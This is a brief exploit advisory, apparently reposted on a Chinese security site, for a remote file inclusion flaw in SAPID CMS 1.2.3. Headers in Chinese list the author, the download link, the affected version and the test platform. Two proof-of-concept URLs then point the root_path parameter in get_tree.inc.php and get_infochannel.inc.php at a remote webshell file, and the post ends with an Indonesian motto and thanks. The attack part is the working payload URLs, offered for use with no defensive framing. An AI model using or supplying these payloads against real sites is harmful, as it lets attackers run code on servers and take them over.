标题: SAPID Stable (RFI)
作者: Opa Yong
下载地址: http://sourceforge.net/projects/sapid/files/sapid-cms/
影响版本: SAPID 1.2.3 Stable
测试平台: Windows XP Home Edition SP2
 
 
测试: http://www.2cto.com /usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[webshell.txt?]
@POC: http://www.2cto.com /usr/extensions/get_infochannel.inc.php?root_path=[webshell.txt?]
 
 
Pesan: Jangan pernah mengaku diri anda hacker,lebih baik orang yg di sekitar anda yg mengaku anda itu adalah hacker.
 
 
Special thanks for Dan Pemula